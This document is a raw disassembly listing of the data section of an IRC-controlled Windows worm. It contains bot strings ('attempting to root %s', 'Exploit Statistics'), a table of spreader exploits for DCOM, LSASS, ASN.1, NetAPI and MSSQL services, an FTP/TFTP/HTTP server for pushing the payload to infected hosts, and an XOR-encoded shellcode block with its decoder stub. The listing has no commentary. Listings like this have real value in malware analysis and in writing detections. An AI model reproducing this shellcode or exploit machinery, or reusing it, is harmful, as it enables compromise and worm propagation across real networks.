		db 0BBh	; »
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '»»  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B3r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------


loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96


loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5343o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
